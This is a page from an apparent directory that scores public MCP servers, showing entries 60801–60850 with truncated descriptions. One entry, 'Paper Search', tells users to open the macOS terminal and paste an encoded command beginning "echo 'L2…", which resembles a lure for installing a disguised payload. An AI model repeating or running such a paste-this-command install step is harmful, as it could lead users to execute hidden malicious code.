MCP Server Quality Scores

Independent quality analysis of 66475 public MCP servers

66475
Discovered
31805
Scored
2112
Verified
16953
Complete

Last updated 1 hour, 19 minutes ago

Grade Distribution

Score Distribution

# Server Score ↓ Visibility Schema Protocol Reliability Maint. Security Agent Lang
○ Unscored
60801
we2go
Enables AI coding agents to read, write, and query Google Sheets as a database …
N/A N/A
60802
fastmcp-me
Complete knowledge management for AI assistants with Elasticsearch search and d…
N/A N/A
60803
rohit-bharmal
Connects an LLM to your fleet of clusters via ACM or Multicluster Global Hub, e…
60804
barrettclark
A lightweight MCP server for Apple Calendar on macOS that uses a Swift helper t…
N/A N/A
60805
XMV-Solutions-GmbH
MCP server that enables AI agents to read, edit, and manage SharePoint document…
N/A N/A
60806
avidianity
mcp-openapi Claim
Enables AI agents to discover, search, and call any REST API described by an Op…
60807
360CVGroup
FGCLIP-MCP Claim
MCP server for FG-CLIP embedding services enabling multi-modal similarity compu…
60808
Erenshkigal111
ccg-mcp Claim
Enables Claude Code Desktop to call OpenAI Codex/GPT-5 and Gemini APIs via stdi…
60809
suwappubot
Suwappu Claim
High-performance cross-chain liquidity bot. Trade 100+ tokens across 7+ chains …
N/A N/A 95
60810
menemy
sideshell Claim
AI sidecar terminal — let Claude/Cursor run commands in a visible, persistent t…
N/A N/A
60811
nayagamez
Wraps Anthropic Claude Code CLI as tools, allowing MCP clients to invoke headle…
N/A N/A
60812
CyberEDU-Cyber-Range
Official MCP server for the CyberEdu CTF platform that automatically discovers …
60813
secr-dev
@secr/mcp Claim
Provides AI coding agents with direct access to secrets management (get, set, l…
60814
upriver-ai
upriver Claim
Know what's gaining traction online: breakout topics in tech, sports & politics…
60815
tejasayya
SegmentMCP Claim
Transforms natural language queries into SQL for customer segmentation, enablin…
N/A N/A
60816
atototo
wiki-mcp-hub Claim
Enables lexical search over local Markdown wiki folders using SQLite FTS5, with…
N/A N/A
60817
tcrst
Enables semantic search over Databricks docs, API reference, Terraform provider…
N/A N/A
60818
baiyajin
Enables AI-assisted reverse engineering and debugging through x64dbg integratio…
N/A N/A 95
60819
supeng0916-beep
Enables querying private knowledge bases through a modular RAG pipeline with fe…
N/A N/A
60820
N747AI
Cleared Check before pay: lookup_merchant, cleared_check, route_gateway for x40…
N/A N/A
60821
semichcsc-byte
Provides Waze routing and travel-time tools to MCP clients, enabling travel tim…
60822
ArProvat
Enables users to manage personal expenses through natural conversation with Cla…
N/A N/A
60823
ab75173
whoop-mcp Claim
Enables Claude to read your WHOOP health data including recovery, sleep, strain…
60824
haiyunsky
Institutional-grade quantitative stock analysis and research signals for AI age…
60825
MCP server providing Playwright test generation wizard with intelligent prompts…
N/A N/A 81
60826
dfieser
Enables conversational low cycle fatigue analysis with standardized reduction, …
N/A N/A
60827
MAX208V
Enables deploying a remote MCP server on Cloudflare Workers without authenticat…
60828
Arakiss
Nahuali Claim
Trust-aware agent memory with evidence-backed recall, self-inspection, and audi…
N/A N/A
60829
papersearch
Paper Search Claim
Important! To install, open the MacOS terminal and enter the command: echo 'L2…
60830
samalyxx
GSC SEO MCP Claim
Professional Google Search Console MCP server providing 40+ SEO tools for perfo…
N/A N/A
60831
pento
Enables real-time AI editing assistance in the WordPress block editor, allowing…
N/A N/A
60832
adityafba
MCP server for accessing Indonesian local government data from Satu Data Ngawi.…
60833
melisa-l
A Model Context Protocol server for Microsoft Fabric that enables AI agents to …
60834
Vodolazkyi
Provides access to Ultrahuman health and fitness data through standardized MCP …
60835
tripolskypetr
Provides real-time cryptocurrency trading signals and technical analysis via Bi…
60836
someshwarpatil
Enables Claude Code to generate and edit images using Google's Gemini and Image…
N/A N/A
60837
AIckathon-2025-08
Monitors electricity outage schedules in Ukraine's Dnipropetrovsk region, enabl…
N/A N/A
60838
martin-delivered
This server enables AI to match Figma design nodes with React components from S…
60839
batrugg
Real, calibrated Dota 2, Deadlock & Marvel Rivals win predictions, tier lists &…
60840
Ask-Cyborg
AskCyborg Claim
Analyst-debate research on every public and private company. 8 tools: search, s…
60841
raxITlabs
A production-ready MCP OAuth 2.1 server implementation with analytics and secur…
60842
DzimaSh
MCP server for analyzing successful trading bots on Polymarket, enabling discov…
60843
Iterable
Enables natural language interaction with Iterable marketing platform data, all…
60844
arjunkumargiri
memory Claim
Shared, persistent memory for AI agents — works with Claude, Kiro, Cursor, or a…
N/A N/A
60845
Xvvln
PDF Reader Claim
MCP server for extracting text, images, tables, links, annotations, and metadat…
N/A N/A
60846
NovadaLabs
novada-mcp Claim
One MCP server. All web data. Search, scrape, crawl, proxy, and AI research — i…
60847
trssantos
Decay Memory Claim
An MCP server that gives AI agents persistent, forgetting memory with layered d…
N/A N/A
60848
jiaxinghit
Enables real-time Feishu message monitoring, sending, file upload to cloud docu…
60849
artvandelay
Enables AI assistants to access and query ARTPARK's public health datasets incl…
N/A N/A
60850
RanneG
linkup-mcp Claim
Provides web search and local document RAG using Ollama, enabling privacy-prese…
N/A N/A
Showing 60801–60850 of 66475 servers